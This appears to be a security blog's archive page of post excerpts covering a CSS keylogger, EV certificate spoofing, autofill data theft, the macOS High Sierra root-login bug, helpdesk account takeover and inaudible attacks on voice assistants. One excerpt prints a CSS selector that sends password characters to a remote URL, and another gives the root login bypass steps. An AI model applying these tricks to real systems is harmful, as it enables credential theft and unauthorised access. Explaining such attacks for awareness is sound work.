The curious case of the Raspberry Pi in the network closet

Christian Haschek: Last week I got a message from a co-worker notifying me there was a Raspberry Pi connected to our network. I asked my IT colleagues and they were as baffled as I was. I heard of people getting paid to put things like this in places they shouldn’t and for this reason I […]

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory goes that whenever a user presses the a character inside an input[type=”password”], a request to […]

Extended Validation Is Broken

https://stripe.ian.sh/ is an interesting site by Ian Carroll. See it? Take a closer look at the certificate. Yes, that’s one for “Stripe, Inc” … but, that’s not “Stripe, Inc” is it? This site uses an EV certificate for “Stripe, Inc”, that was legitimately issued by Comodo. However, when you hear “Stripe, Inc”, you are probably […]

Stealing Usernames, Passwords, and other (Personal) Data via Browsers and NPM Packages

👋 This post also got published on Medium. If you like it, please give it some love a clap over there. Late 2016, Stoyan Stefanov published “Oversharing with the browser’s autofill”. It’s an article on stealing personal data using the browsers their form autofill feature. The attack works by leveraging abusing the fact that autocompletion […]

Login with root and no password on any mac running macOS High Sierra

This tweet is currently making rounds on Twitter: You can access it via System Preferences>Users & Groups>Click the lock to make changes. Then use "root" with no password. And try it for several times. Result is unbelievable! — Lemi Orhan Ergin (@lemiorhan) November 28, 2017 And yes, that actually works: enter root as a username, […]

TIP: Enable Two Factor Authentication (2FA) with your NPM account

Since early October it’s possible to enable Two Factor Authentication with your NPM account. 2FA is another layer of defense for your account, preventing third parties from altering your code even if they steal or guess your credentials. This is one of the easiest and most important ways to ensure that only you can access […]

Ticket Trick: Hacking companies through their helpdesk

Clever way, unearthed by Inti de Ceukelaire, to getting access to private communications channels (such as Slack) by leveraging the create-by-email feature of issue trackers/the helpdesk of a company. First target of Init was Gitlab’s Slack channel: Anyone with a valid @gitlab.com e-mail address can join their Slack team. At the same time, GitLab offers […]

DolphinAttack: Hacking Voice Assistants with Inaudible Voice Commands

About a year ago it came to my attention that voice assistants such as Siri can lead to easily exploitable security issues. As voice assistants are not aware who is talking to them, it doesn’t matter if it’s you or your neighbour shouting “Unlock the door” at ‘m … Now a team from Zhejiang University […]